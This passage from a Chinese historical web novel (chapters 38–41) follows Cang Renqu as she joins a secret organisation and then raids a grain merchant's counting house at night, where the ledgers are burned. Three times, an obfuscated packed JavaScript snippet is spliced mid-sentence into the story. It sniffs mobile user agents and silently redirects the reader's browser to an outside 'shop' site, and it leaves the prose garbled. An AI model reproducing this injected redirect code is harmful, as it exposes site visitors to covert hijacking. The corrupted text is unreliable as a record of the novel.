听闻“洛予词”三字，她惊呼道：“好巧！我亦是洛先生引荐而来！” 苍仁曲随引路人登上三楼，对方推开一间房门，侧身立在门口道：“姑娘进去便是，只需依着入门监的吩咐行事。洛先生此刻正在东市，我这就派人去请她过来。” 萧晚乔问：“我能陪她一同进去吗？” 引路人颔首应允：“无妨。” 苍仁曲踏入屋内，此间布局竟与洛予词带她应试的那间相差无几，险些以为是自己记混了。 屋里依旧坐着一名盲卫，并非那日所见之人。 盲卫微微侧首，似是探到她的气息。苍仁曲深知盲卫识人依赖掌纹，坦然将右手送至他面前。 盲卫指尖在她掌心细细摩挲，苍仁曲忍不住问道：“这位……可是入门监？你我素未谋面，何以识得我？ 验明正身后，入门监慢慢放下她的手，解释道：“姜先生，那日为你安排入门之试的沉不怜，有识人不忘的本事。你通过考核后，她便将你的掌纹摹刻下来，传与我们所有人记熟了。” 苍仁曲好奇心愈发浓重，追问道：“你们一日要记这么多东西，瞧着身形又都是习武之人，如此忙碌下来，当真不疲累吗？” 入门监回道：“姜先生说笑了，记人算不得什么难事。若双目可见，要认一个人，得在千人万人里寻踪索证；我等目不能视，反倒没了万千人影的纷扰，只消记牢这寥寥数道掌纹。相较而言，反为易事。” 案上置有一铁匣，启锁之后，入门监从中取出两纸牛皮卷，呈递给她：“这是入楼契约，一式两份。先生过目查验，若无差错，便可签字画押。” 萧晚乔凑眼一瞧：“咦？这怎跟我当时签的不一样？” 入门监补充道：“萧先生当日签的，乃文试一脉之约。姜先生入门考校，文武两科皆予以认可，签下此契，日后在文试武举两道，皆有一席之地。” 萧晚乔转头望向苍仁曲，语气满是难以置信：“姜姑娘竟有文武双全的本事，怎会屈身去给宋家公子牵马？这也太屈才了！” 苍仁曲扬起一抹苦涩的笑，自嘲道：“姑娘谬赞了，若非生计所迫，谁愿如此？这不就打算来另寻出路了。” 她低头细阅契约条款，目光停在一处陌生字眼上，轻声念道：“‘研究成果经实践检验，若有大功于世，当无偿推行于活水城，发明人同时享有专利之护……’这‘活水城’，是何方地界？” 入门监沉吟须臾，才开口解惑：“简而言之，活水城是广厦楼辖下的地界，官府寻常是管不到的。” 苍仁曲淡淡“哦”了一声，不作任何意见。横竖她已经和广厦楼扯上了干系，再怎么逾矩，再怎么大逆不道，也在情理之中。 她无争当正人君子的念头，也无做正义之士的愿景，于她而言，只要能光明磊落立身于世，无论择何途而行，皆为正道。 确认契约条款无虞后，她提笔在两份契约上签字画押，一份递给入门监，一份自己收好。 “行。”入门监点头示意，“姜先生，您若手头有在研的项目，尽可继续推进。待明年开春文试开考之时，这边若有需求，自会遣人通传。” 苍仁曲根本毫无头绪，其次手头也无半点资源可供研究，索性直问：“那武举呢？” 入门监：“武举替名，较之文试简便良多，且周期甚短。大抵考前数周，便有需求登门，待条件议定、交易既成，便遣阁下赴考。考场自有安排，您无心担心暴露的风险。” “行，我知道了。” 苍仁曲与萧晚乔一同出了房门，她看向萧晚乔：“萧姑娘，你到这里来，是要继续研究偃人的项目吗？” 二人说着，并肩拾级下楼。 萧晚乔语气笃定：“我把所有家当都搬出来了，哪有半途而废的道理？不过是换个地方继续罢了，这儿倒是个潜心钻研的好去处。” 苍仁曲道：“虽说偃人民用之策是你所创，但我听闻，研枢院已将此项目上报工部，且已获核准。按律，此技术专利归研枢院所有。你若将成果私授研枢院之外的人，恐会被指认侵权，引来讼案。” 萧晚乔定定望着她，半晌才开口：“这情形我早同洛姐提过了。洛姐让我只管安心研究，偃人民用之策，非为一家一姓而设，既已耗诸多资源，且见落地之望，无论是否有人取用，应当善始善终。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103057|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 二人途径楼梯转角，准备下到一楼。 苍仁曲一眼瞧见楼下的洛予词随着领路人步入楼内。而洛予词抬头的瞬间，也瞧见了她们。不多时，三人便在那棵苍劲的常青松底下聚到了一处。 洛予词笑问：“二位这是早就认识？” 萧晚乔抢先解释道：“洛姐，那日若非姜姑娘出手相助，我怕是没法从研枢院拿出自己的东西。” 洛予词眼露惊奇，转向苍仁曲问道：“哦？姜姑娘是如何做到的？我听闻研枢院那位院长，可是出了名的势利，想叫他松口，绝非易事。” 苍仁曲淡然笑道：“厉害的哪里是我。那日我随谨公子到访研枢院，恰巧撞见这桩事。不过是借了公子的名头狐假虎威，才叫研枢院松了嘴。” 洛予词若有所思道：“素昧平生，那宋家公子倒是个热心肠的。” 苍仁曲提道：“偃人民用之项，研枢院委于谨公子主理，今日他赴研枢院去详谈此事。” 萧晚乔：“这再好不过了！” 苍仁曲和洛予词皆是一愣，不约而同歪头看向她，满脸疑惑。 萧晚乔搓了搓手，语气透露出几分期待：“我一个人扑在项目上，早就忙得脚不沾地、头昏脑涨，正缺个能搭把手的助理。姜姑娘，你看这事……？” 苍仁曲被这突如其来的邀请弄得措手不及，迟疑道：“我当真合适吗？虽说我略懂些相关学识，却远谈不上精通此道。萧姑娘若纳我为助理，恐怕须得从头指点，还望三思。” 洛予词在一旁帮腔：“姜姑娘，我瞧萧姑娘的意思，你身为谨公子的侍从，他主理这个项目，往后定然要密切跟进进度，具体差事十有八九会交由你经手。无论如何，你多少都能有所收获，这何尝不是个学习机会？你不必过谦，萧姑娘既有此意，自然是看中了你的潜力。” 萧晚乔：“我正是这个意思。” 苍仁曲：“如此，便谢过萧姑娘抬爱了。不知日后该如何与你互通消息？” “广厦楼有专门的联络法子。”萧晚乔抬手一指，“你瞧见树上那只鸟了吗？” 苍仁曲顺着她手指的方向望去，松间栖着数只机关木鸟，形制精巧，几可乱真。这时洛予词在一旁介绍道：“这是广厦楼特制的传信使，每人都能领一只。你也带一只回去，听说宋家公子素来酷爱手工活计，他院里摆着不少这类小玩意儿，你带回去混在其中，保准没人察觉。” 苍仁曲道了声谢，随后洛予词教她吟了一段独特的哨声。她依样学了一遍，哨音刚落，松上一只木鸟振翅而动，盘旋两圈，飞了下来。她摊开掌心，稳稳将它接住。 洛予词指尖轻点木鸟额顶，一道细如竹丝的木柱从它脑袋旋了出来：“把你的头发缠上去，它认了你的气息，就是你的专属信使了。” 苍仁曲扯下一根发丝，照她所说，缠在木柱之上，指尖轻轻将木柱按回鸟首，只听木鸟身体传出细碎的机括运转声。声响停歇，那只木鸟像忽然有了灵性，温顺蹭着她的掌心。 她端详着掌心这只精巧的木鸟：“冒昧问一句，这些精妙的传信使，出自谁的手笔？” 洛予词答：“曲直公子。” 39. 偷账 传信使自苍仁曲掌心飞出，绕她盘旋数圈，忽然振翅高飞，撞到上方的帘幔。鸟喙尖锐，不慎啄到了锦线，几欲扯脱。 由此，苍仁曲为它取名“阿锦”。 阿锦盘旋半空，不离她视线左右，一路伴她回了宋府。府中众人毫无察觉，只道是只过路的飞鸟，任它翩跹来去。 及至宋谨别院，阿锦敛了翅，落在离苍仁曲居处最近的树桠。枝头也栖息着好几只鸟雀，皆一动不动，宛如昏睡，阿锦学着它们的模样，混入其中，完全瞧不出半点端倪。 正静穆间，大莱路过此处，唤了声：“阿曲。” “莱哥。”苍仁曲对他招呼道。 大莱眉间拢了几分关切：“瞧你，满眼红血丝。公子今日准了你一日假，怎不好生歇着？净想着玩。” “正打算进屋歇呢。”苍仁曲抬手按了按额角，语声透露出几分倦意，“困得头都发晕了。” 大莱一拍脑门：“差点忘了，公子吩咐管家多备了一床被褥，已送进你屋里了，自个儿拾掇一下。” 苍仁曲表现得受宠若惊：“我不过歇息一日，公子何须如此费事？” “不是你说的睡觉时候冻着了吗？再给你添床被子，保准不会着凉了。” “……有劳公子费心了。” 她回屋，瞧见自己床榻上压着那一卷被褥，如一记重石压在她的心头，沉甸甸的发闷。 不过是早时随口敷衍的一句谎话，竟然被他记挂在心，还当成实打实的需求来妥帖安置。 一床被褥，于他而言不过是弹指间的施舍。偏他不像宋曦，惯会拿锦衣玉食搪塞真心，反倒爱在这些细枝末节上费心思，偏生叫人错以为，他交付的是满腔赤诚。如此温柔磨人的手段，如温水煮蛙一般，远比那些浮华虚礼更为致命。 但，就算他付出真心又如何？ 烂人的真心，价值堪比一坨牛粪。他这烂人之子的真心，顶多算开在牛粪上的一朵鲜花，开得再娇艳，也臭不可闻。 如此贬斥一通，她终于心头坦荡，扯过两床被子盖在身上，双重暖意裹着倦意，酣然入梦。 …… 一尊陶瓷人偶映入眼帘，被她轻轻托在掌心。瓷偶雕的是她的模样，红袍加身，双臂舒展朝天，本是坊间祝祷金榜题名的小玩意儿。 翻过偶身，后背歪歪斜斜刻着三个字，笔锋迥异。“苍”字大气，是母亲的字迹；“仁”字端方，是父亲的字迹，“曲”字跳脱，是兄长的字迹。 三笔字迹，拼成了她的名字。 “这是……？”她疑惑望向萧良山。 萧良山道：“清查你家旧账时，从赃物里拾得的。估摸是你临去文试前，家人为你备下的祈福之物。案子结了，此物本要处置，我托人悄悄留了下来。” 瓷凉刺骨，寒意浸得人指尖发僵。苍仁曲掌心轻颤，语气强压着波澜：“萧大人肯信我一家清白，救我出困。那会不会也有人信我父母无罪？说不定……他们如今还活着，是吗？” 萧良山低叹一声：“供词我看过了，你父母对所指控的罪名，尽数认下，早就在罪状上画押签字。贪墨巨款是昭然铁案，二人至死不肯吐露赃款去向，这笔钱至今下落不明。” 苍仁曲死死攥紧那尊瓷偶，指尖深深嵌进背后刻字的纹路里，听他温声劝慰：“仁曲，逝者已逝，旧事终究难回。人要向前看，这瓷娃娃，你且留着当个念想吧。” 她看着小小的“她”，笑靥恣意张扬，在暖融融的日光里耀眼刺目。她试图学“她”笑出来，可嘴角颤抖着，挣扎着，最终垮成一道下弯的弧。 人走远了，积攒的怒意与悲恸彻底爆发。她扬手将瓷偶丢出去老远，清脆的碎裂声乍起，掐断了她最后一丝冷静。 她失声痛哭，原来自己根本没想象中那么坚强。 这一哭，从白昼哭到黑夜，哭到夜幕吞噬掉最后一缕昏光，哭到嗓子嘶哑，泪尽干涸。 她泪流满面，踉跄着找到一地稀碎的陶瓷，瓷偶面容早已四分五裂。她将破碎的“她”、破碎的名字，一一拾掇起来，埋进土里，同自己的家人一个结局，盖上了沉沉的黄土。 梦醒时，夜色依旧。 她还活着，身上盖着的被褥暖融融的。 后知后觉，铺床时竟忘了将沉香香包塞回枕下，难怪她会做那样的噩梦。 这一觉睡得天昏地暗，早错过了饭点。屋头一片漆黑，纸窗透进几缕灰冷的光。 她伸手在黑暗里摸索片刻，触到那熟悉的香包，忙塞进枕下。清润的沉香漫入鼻息，她再度裹紧被子，蒙头而睡。 …… 到了与萧择天约定的时日。 今夜宋谨未去书房，歇得格外早，屋中灯火早早熄了。苍仁曲换了身利落劲装，一想到要先去找石举兰打听萧择天的下落，胸口堵着一股子闷气。 甫一开门，一张纸条便自门缝滑落。 她立在门首左右张望，四下寂寂无人，遂拾起那张纸条，上面只有三字——南更楼。 “咚——咚！咚！” 三更锣响。 更夫敲罢梆子，脚步七扭八歪地走回桌旁，接过石举兰为他满上的酒。 他一口饮尽，手指虚虚点着对方，醉醺醺笑道：“瞧你这俊俏模样，难怪曦小姐中意你……嗝！单靠这张脸吃饭就够了，何必还要苦哈哈地练功夫？” 石举兰当即拍开他伸来的手，面上维持着和气：“谁能一辈子靠着面皮吃饭？人老珠黄是迟早的事，会些拳脚功夫，好歹算门傍身的技艺。” 更夫扯着嗓子高声阔论：“听说谨公子从曦小姐那讨走了一个俏侍从，是个女的！那可是他院里独一份的女眷，特意让她单住一屋！公子晨练时我瞧见过，水灵脸蛋，细腰长腿……啧啧，练家子就是不一样，身段那叫一个绝！” 石举兰汗颜：“兄弟，你喝多了，有些话不能乱说！” 更夫拍着桌子继续嚷嚷：“什么我乱说？谨公子武举第十的身手，哪用得着什么保镖？分明是馋人家的美色！一个向来不近女色之人，竟破天荒开了荤！那女的估计拳脚功夫不如公子，保不齐床上功夫，叫他甘拜下风！” 话音刚落，更夫眼前陡然一暗，似有黑影遮了身后的光。然而酒精麻痹至深，他思考不及，后颈便被一股狠劲一推，脑袋狠狠磕在桌上，桌上的酒壶菜碟震得弹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103058|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起。 “砰！” 一声闷响，更夫当即没了声气，身子软软滑落在地。他身后，苍仁曲静立着，周身寒气逼人。 石举兰：“……” 苍仁曲横他一眼，他吓得当即举手投降：“我方才可没编排你半句！” 见她敌意未消，他连忙补了一句：“我也没有亏待小诗！” “你倒是没亏待自己。”苍仁曲冷笑，“和小诗在我房里厮混，莫非天下何处都是你的床榻不成？” 石举兰尴尬挠了挠脸，讪讪道：“阿曲，是小诗情难自禁，硬拉着我……我也是没法子才应了她。” “你觉得我会信？”苍仁曲语气冷冷，“你这挑拨离间的伎俩，别在我面前摆弄。” 石举兰敛了神色，缓声道：“阿曲，你我同是为萧大人办事，岂能因这点小事伤了同门情谊？ “一码归一码。”苍仁曲寸步不让，“萧大人说过，私人恩怨莫扯公事。再者，即便小诗是自愿，你便毫无过错？” “好好好，阿曲，是我的错，我给你赔个不是。”石举兰服软，连忙转移话题，“萧大人传了信来，他在江东桥桥畔候你。” 苍仁曲懒得再与他纠缠：“知道了，你早些回去歇着吧。” 说罢，她推开了身旁的窗户。 石举兰好奇道：“阿曲，深更半夜的，萧大人约你出门，当真只是谈公事？今晚还回来吗？” 苍仁曲一脚刚要踏上窗台，闻声缓缓落下，转头睇他一眼，语气凉飕飕的：“我瞧你倒是挺想在此陪更夫待上一夜，若是乐意，我可以成全你。” 石举兰望她的背影，莫名打了个寒颤：“不想不想，您慢走！” 苍仁曲这才纵身跃出窗户，出了宋府。 东市与宋府相隔不远，出了柳巷，沿着融江河畔往北直行，便是江东桥。过了桥，对岸是东市地界。 萧择天立在桥中央，斜斜倚着桥栏。月色如霜，将整座石桥染得一片雪白，桥上一盏高灯勾勒他的身影，在石面映出一道长长的阴影。 须臾，一只脚踏入那道阴影，闯入他的视线。苍仁曲穿一双萧武署特制长靴，一身劲装束得紧实，头发同他一般高束，立在料峭寒夜里，略显单薄。 她说道：“你来找我，大可直接来寻，何必借着石举兰绕这许多弯子？” “这是他的职责本分，我与他用的是都督府特定的联络方式，不能外传。”萧择天视线落在她身上打了个转，啧了一声，“你不冷吗？” “我也正要说你呢。”苍仁曲见他那身行头，忍不住道，“拖着这么笨重的绒毛大氅，你是打算夜访颐丰粮行，让人家把你当贵人好生招待吗？” “怎不早说？”萧择天当即解下大氅，内里也是一身紧实劲装，语气散漫，“我哪做过这种偷偷摸摸的事？平日里我想要什么，都是正大光明去要。” 他随手将大氅朝苍仁曲一抛。她猝不及防，整个人被那厚实宽大的氅衣兜头罩住，浑身充斥着萧择天的体温和气息。 “喂！你！”热气上涌，苍仁曲急忙扒下大氅，只瞧见萧择天的背影，已然走下几层石阶。 “走了。” 40. 真相 二人入了东市，绕至颐丰粮行后巷。 萧择天在前头迈步，低声道：“我已遣人打探清楚，颐丰粮行夜里只留三人当值，两个守前院粮仓，一个在后头巡夜。” 苍仁曲跟着他的步子，在离粮行账房位置最近的院墙外站定。她转身对墙，退后两步，猛一冲，双脚一蹬，轻巧攀上墙头。 萧择天见她两手空空，左右扫了一眼，忍不住问：“我大氅呢？” 苍仁曲低头瞧他：“早撂在桥头了。” “冷死你得了！” “？”苍仁曲一脸莫名，不知他发的哪门子脾气，干脆懒得理会，纵身跃入院中。 萧择天身法利落，紧跟着翻入院内。 前方便是账房，四下黑黢黢的，要潜入查账，点灯是必经之事，可这么一弄，保准会惊动后院巡逻的伙计。 萧择天命令道：“你先去解决巡逻的伙计。” “好。”苍仁曲得令，蹑足潜踪，寻着有灯火的地方摸去。 夜深人静，落针可闻。 佣人房里，巡夜伙计正睡得昏沉。一颗石子砸到窗边上，他霎时惊醒。暗忖摸鱼摸够了，也该装模作样巡上一巡，于是揉着惺忪睡眼打了个哈欠，慢悠悠地起身，提灯准备出门。 前脚迈出屋门一步，一股劲风袭来，紧接着，迎面遭来一记重拳。 “??！” 灯掉了，人软了。 苍仁曲伸手扶住晕过去的伙计，将他拖回床上放好，轻手轻脚掩上门，捡起地上的油灯折返账房。 到了账房门前，萧择天却没影了，她站在原地等了一会儿，对方才匆匆赶至。 苍仁曲问：“你做什么去了？” 萧择天回：“把前院那两个守夜的也打晕了。” 苍仁曲：“咱们目标不只有账房吗？他们又不往后院这边来。” “以防万一。”萧择天道，“再者，咱们又不是来偷东西的。等他们一觉睡醒，东西分毫未少，自然当什么事都没发生。” 苍仁曲：“……” “走，进去。”萧择天没了顾忌，大大方方推门而入，在深夜发出好大一声响。 苍仁曲提着灯紧随其后。 萧择天刚走两步，脚下忽被一物绊了个趔趄。他一把抢过苍仁曲手里的灯照看脚下之物，不禁皱眉道：“在这里放什么火盆？” 苍仁曲点亮了屋里的油灯，昏黄灯火漫上书桌，案上恰好摊着一本账册。她伸手拿起，细细翻看。 萧择天见她看得专注，不去打扰。 一室寂静，只余账册翻动的簌簌声响。约莫翻了十来页，萧择天开口问：“可看出什么端倪？” 苍仁曲答道：“和八珍窖的往来账目都对得上，一切正常，瞧着并无不妥。” 萧择天自语道：“难道真是我多虑了不成？” 苍仁曲的视线落在炭盆上那堆烧残的纸屑。她合上桌上账册，捻着书沿道：“这册子记了近半年的账目，照理该被翻旧了，可书边无一丝翘痕，这应当是新做的假账，再寻寻别处，看能不能找出原本的账目。” “搜查啊，这我熟。”萧择天把提灯塞给苍仁曲，自个儿拿起桌上那盏烛火，“小时候在家翻箱倒柜的事没少干，那些藏金银细软的地方，我闭着眼都能找着。” 苍仁曲顺手抓过桌上一串钥匙，搭话道：“你家好好的，怎还要把银钱藏起来？” 萧择天一边踱步一边说道：“小时候哪里懂这些？只当那钱是从地里长出来的，摸了就去买零嘴玩物。后来被母亲逮住盘问，还是萧良山出面替我打圆场。后来才晓得，我翻出来的竟是他的私房钱。” 苍仁曲背对着他，言语带笑：“原来萧良山竟是个妻管严。” 萧择天指尖划过书架上一本本册子：“有何奇怪？一家之中，女主人掌钱管家，向来天经地义。” 苍仁曲提灯往座屏后的钱库行去，边走边道：“一人手握一家财政大权，得全权负责家庭所有用度开支，在我看来，无疑将责任都推一个人身上。家庭事务当是夫妻二人共同责任，单靠一人之力，想兼顾事业与家事，谈何容易？若你母亲忙于事业，这一大家子的琐碎，谁来操持？” 萧择天立在座屏外头，回道：“萧良山一人能养活全家，我母亲根本不必费心出力，只管守着家、理好内务就行。” 苍仁曲掀帘进了钱库，声音穿透屏风传了出来，分毫未减：“女子谋事业，是为自己的人生筹谋，怎就成了替男子分忧？就算你母亲足不出户，在家管钱、操持家务，那也是实打实的功劳，怎就成了你父亲一人养活全家？难道在你眼里，操持事业的的功劳才是真功劳，操持家业的人，只是拿着钱办事的吗” 萧择天抬着烛火往她那边一照，语气不耐：“你偏要在这跟我钻牛角尖，是不是？” 苍仁曲没有回头，也没搭话，只顾埋头搜寻，留下一个专注查探的背影对着他。 她心里清楚得很，这时候但凡多说半句，定要撞在他那莫名的火气上，到时候争执起来便没个完。倒不如缄口不言，让他自己平复心绪。 然而她不作回应也是回应，被冷暴力的萧择天哪能咽下这口气？他大步流星绕到座屏之后，走到她身旁，沉声喝道：“你倒是说话啊？” 苍仁曲往边上挪了挪：“萧大人，我正查线索呢。你那边寻完了？” “找完了，没有发现。” “那你再去别处仔细找找，这钱库瞧着敞亮，不像是藏账本的去处。”苍仁曲用钥匙打开其中一只钱箱，提灯一探，里面是满满一箱贯钱，又开了一箱，是整箱银子。前后开了五箱，三箱贯钱，两箱银子，除此以外别无他物。 她不由得纳闷，嘀咕道：“奇怪，这么大的粮行，账房里的库银怎会如此寒酸？” “估计腾回家里了吧。”萧择天捏起一锭碎银掂了掂分量，“只留这点碎钱在这，估计几箱加在一起，还没架上那只金蟾值钱。” 苍仁曲提灯四下探照，想寻出些别的可疑踪迹，身后的萧择天又凑过来，不依不饶怨道：“刚才跟你说话到底为什么理我？” 真是个缠人的麻烦。 苍仁曲转回身，提灯照亮他的脸，压着性子道：“萧大人，眼下正事为先。您若觉得我哪里做得不妥，等出了粮行，我再给你赔罪便是。” 如此敷衍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103059|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的回答，让萧择天颇不满意，当即扣住她的手臂：“怎的？好像我在逼你一样，跟我做事你就如此不情不愿？” “别动手动脚。”苍仁曲微微挣动，想要甩开他的钳制，手肘却不慎撞在一旁架子上的招财金蟾。 那金蟾纹丝未动，在底座上转了小半圈，跟着响起了极轻的一声“咔”。 “什么动静？”萧择天目光转向那个金蟾，松开苍仁曲，就要伸手碰它，谁料苍仁曲快人一步，手掌已然按在金蟾之上。 两人的手就这样交叠在了一起。 “......” 四下静了一瞬。苍仁曲稳着手，不为所动，萧择天却像烫到了一般，猛然缩回手。 苍仁曲缓缓转动金蟾，听得那只金蟾身体里清晰传出“咔咔咔”的机括声。 转了一圈，金蟾复归原位，另一边传来细微动静。 苍仁曲提灯在前，萧择天举烛在后，两道光齐刷刷投向发声处。声响停歇，架子后方的墙壁凹进一块暗格，里面藏着个书柜。 苍仁曲拉开柜门，厚厚一摞书册杂乱堆在其中。她抽走最顶上那本，书脊软塌塌的，内页应是被撕去大半，翻开瞧了几页，正是他们要找的原始账目。 “我拿出去比对一番，看有什么可疑。”她目光凝在账册上，寸步不离地转身走了。 “就这一本够了？”萧择天追问一句。 “嗯。” 萧择天还有话要说，但苍仁曲已经走出座屏。他望着库房里这一地的狼藉，无奈沉了口气，极不情愿动手收拾残局。 哪有这样没眼力见的下属，竟把上司扔在这儿收拾烂摊子？ 他先把暗格的机关复原，再将那些银钱箱子一一锁好，最后提着烛火仔细照一圈，见四下恢复如初，这才离开钱库。 绕过座屏走到苍仁曲身边，他将烛火放在桌上：“可有什么发现？” “颐丰粮行给八珍窖供货的钱款，全是从一家柜坊里划拨出来的，可这柜坊并非粮行专用，而是宋家存银的私坊。”苍仁曲的目光在两本账册来回游走，提点萧择天道，“八珍窖虽说挂着吴任的名头做老板，实际账册存在宋府，真正说了算的，应该是宋家。” 萧择天醍醐灌顶，解读道：“你的意思是，宋家从自家柜坊支钱，借着颐丰粮行供货的名头，把银子倒腾到八珍窖，说白了就是左手倒右手，最后钱都落回自己兜里？” 苍仁曲点头示意，继续说道：“还有一处疑点，从这本真账来看，颐丰粮行缴完官家的重税，盈余已是所剩无几。这般境况下，吴任若还能掏出大把银子填补八珍窖的巨额窟窿，除非……这些钱不是他出的，但是账上并未载明任何明细。” 萧择天：“他背后若有金主，那人断不会平白为他填窟窿，天底下哪有做亏本买卖的道理？这金主必然与宋家往来密切，说不准是串通一气的。那些填补粮行亏空的银子，定是走了别的路子，流回了自己的腰包。” 苍仁曲若有所思道：“颐丰粮行是仗着官家势力发迹的，其中猫腻，保不齐藏在上缴的重税里头。” 萧择天神色一凝，按住她的肩头：“外头有光！有人来了！” 41. 毁账 苍仁曲见状，苍仁曲迅即拂灭案头烛火，复又掩熄油灯。账房骤然昏晦，唯余窗外一片朦胧红光诡谲闪烁。 黑暗中，萧择天小声吐槽了句：“现在才灭灯，该瞧见的早瞧见了。” 苍仁曲动作未滞，道：“……言之有理。” 萧择天鼻翼抽动几下：“可有闻到异味？” 苍仁曲亦嗅了嗅，循味望去，窗外那点红光竟膨胀成一片摇曳的火影：“是火油！走水了！” “哐当！” 萧择天猛然打开门，脚底陡然一滑，身形失控间被苍仁曲一把扶住。她从后面探头，惊见火舌正沿着泼了油的门前地面急速蔓延，已舔舐至墙根。 身前之人拽紧她的手臂，将她护向身侧，低喝道：“地滑，小心些。” 苍仁曲借力稳住身形，挪步间低声道：“究竟是何人下手？你我竟毫无察觉……” 萧择天分析道：“怕是趁我们探查钱库时动的手。” 火焰爬上外墙，从窗户窜了进去，又顺着梁柱攀援直上，逐渐吞噬屋檐。浓烟裹着火星，在夜里中翻滚升腾。 二人退至不远处一片干硬泥地。萧择天鞋底磨蹭着地面，环视四周：“只有账房门前泼了油，是冲着账目来的。” 苍仁曲急声道：“粮行里还躺着三个！我先去救人，你尽量控一下火势！” 萧择天一把拉住他：“先救火！火要扑到前面的粮仓了！” 她挥臂挣脱道：“粮仓重要还是人命重要！” 萧择天愤怒瞪着她的背影：“那都是要卖给沿岸的粮！” “活生生的人命近在眼前不救，我管你什么民生大义？要扑火你自己扑去！”苍仁曲头也不回冲入黑烟之中，疾步匆匆奔向佣人房。 房中热气灼面，她眯眼摸到榻边，床上竟空无一人。 “？！” 人呢？ 她震惊地冲出房间，疾步转至前院。粮仓灯影昏蒙间，一道黑影倏然闪入垛后，被她逮了个正着。 “站住！” 她提气直追，一路追至粮行大门处，那诡异人影已消失不见，而那三个伙计此时躺在门槛边上。 探过鼻息，三人均安好，除了衣上沾满了拖拽的尘土，并无大碍。 既要纵火，何必救人？ 墙垣拐角，两双眼睛正盯着她俯身探查三名伙计的侧影。眼看着当后院火舌已舔上夜空，燃亮半边夜空，她又焦急忙慌往里头冲。 阴影中，其中一名瘦弱如柴的小伙子穿着一身过于齐整的新衣，与多日未洗的灰脸格格不入。他压低嗓子问身旁同伴：“小妹，贵人不是说今夜粮行只有三人值守么？这咋还多出来一个？” “谁知道？”答话的小姑娘同样消瘦，一头棕黄乱发常年未梳，脸上胭脂抹得浓重却斑驳，“吴老板只要我们烧了账房，旁的与我们无干。” 小伙子惴惴不安，道：“方才在账房外泼油时，里头不止一人的动静……莫不是进了贼？” “哥！”女子拽他衣袖，“事办完了就走，贵人还在桥头等着。” 二人悄声没入巷尾阴影。 屋檐阴影里，一名盲卫指尖轻抚过手背传信使的羽翼。短促哨音响起，传信使振翅而飞，掠过燃烧的粮行屋顶，消失在夜幕之中。 江东桥头，吴任从桥杆上取下那件无人的大氅。指尖抚过厚实的面料，确认了上好的羊毛里子。 夜风渐起，快要入冬了。他想起给家里备的冬衣，一件件都厚实暖和，只是数下来，好像唯独没给自己留一件。 他迟疑许久，终将大氅披上了身。布料垂坠，于他身形而言略显宽大，下摆几乎曳地。 “贵人！” 身后乍起的呼声惊得吴任身躯一震，他强装镇定转过身子，嗓音压得平稳：“事都办妥了？” 小姑娘抢着答话：“都妥了！您放心！” 吴任不急着走，问道：“可有发现什么异常？” 兄妹俩交换了个眼神，小伙计支支吾吾道：“要说异常嘛……” 吴任从兜里摸出一角碎银，随手抛去。小姑娘眼疾手快地接住，暗暗掐了哥哥一把。 小伙子如实相告：“粮行进了贼。我们摸到时，三个伙计已被打晕在地，账房早叫人翻乱了。等我们按您吩咐点了火出来……却看见有人把那三个伙计拖到了门外头。我们怕附近还藏着贼人同伙，没敢细看，赶紧撤了。” “贼？果然有人等不及了。”望着远处翻滚的浓烟，眼底映着火色，夜风卷来焦木的气息，他索性闭上双眼，“看来这火是无人救了……也罢，账房烧了就行。粮仓……且看天意吧。” “贵人，事儿都结了。”小伙子搓着冻红的双手，“晚上冷，您也早些回吧。” 吴任目光落在兄妹单薄的衣衫上，忍不住唠叨两句：“给你们的银子，多买两件厚实衣裳，少花在胭脂彩缎上。这些华而不实的东西，能撑得了你们过冬吗？” “贵人说的是！是！也祝贵人过个好冬！”小伙计向吴任郑重道谢。 他正欲带着妹妹离开，衣袖却被猛地攥住。小姑娘盯着前方桥头，神色凝重。 小伙子脚步一顿，问：“怎么了？” 桥头高灯将缓缓映出一道人影。那道身影自林楼阴影中踱步而出，立在桥头边上，不偏不倚截住了二人的去路。 “你是何人？”小姑娘将哥哥往后拽退半步。 面前的人静立如石，毫无回应。 而兄妹身后的吴任看清来者之后，神色陡然惶恐——眼蒙黑布，单手揣着腰间匕首，刃口映着月色寒光。 是盲卫！ 小姑娘茫然回头，问：“贵人，这位是您的朋友吗？” 吴任张着嘴，目光朝上扫向四周。 高低错落的屋脊上，不知何时已立着数道静默的黑影。虽蒙着眼，却能清晰感受到那些“视线”正从高处沉沉压下来，笼罩着整座石桥。 “……是，”他听见自己的声音在发颤，“自然是……朋友。” …… 粮行后院。 苍仁曲赶到时，账房已烧塌大半，火舌正朝佣人房窜去。幸而水井离火场尚有些距离，萧择天正提着两桶刚汲上来的井水疾步赶来。 